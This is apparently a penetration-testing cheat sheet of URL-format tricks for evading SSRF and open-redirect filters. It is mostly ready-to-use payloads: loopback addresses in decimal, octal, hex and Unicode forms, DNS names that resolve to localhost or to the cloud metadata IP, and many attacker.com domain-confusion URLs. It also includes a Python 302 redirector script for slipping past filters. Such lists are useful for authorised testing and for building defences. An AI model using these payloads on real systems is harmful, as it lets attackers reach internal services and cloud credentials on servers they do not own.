URL Format Bypass

Localhost

## Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

## CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

## Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

## Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

## Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

## You can also mix different encoding formats
## https://www.silisoftware.com/tools/ipconverter.php

## Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

## DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Domain Parser

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Domain Confusion

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
http://{domain}@attacker.com
http://{domain}%6D@attacker.com
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
https://{domain}@attacker.com
https://attacker.com#{domain}
https://{domain}.attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
http://{domain}@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
http://attacker.com%00{domain}
http://attacker.com?{domain}
http://attacker.com///{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Paths and Extensions Bypass

If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Bypass via redirect

It might be possible that the server is filtering the original request of a SSRF but not a possible redirect response to that request.
For example, a server vulnerable to SSRF via: url=https://www.google.com/ might be filtering the url param. But if you uses a python server to respond with a 302 to the place where you want to redirect, you might be able to access filtered IP addresses like 127.0.0.1 or even filtered protocols like gopher.
Check out this report.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Explained Tricks

Blackslash-trick

In short, the backslash-trick relies on exploiting a minor difference between two “URL” specifications: the WHATWG URL Standard, and RFC3986. RFC3986 is a generic, multi-purpose specification for the syntax of Uniform Resource Identifiers, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard.

Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes one extra character, the \, which behaves just like /: ends the hostname & authority and starts the path of the URL.

Other Confusions

image from https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

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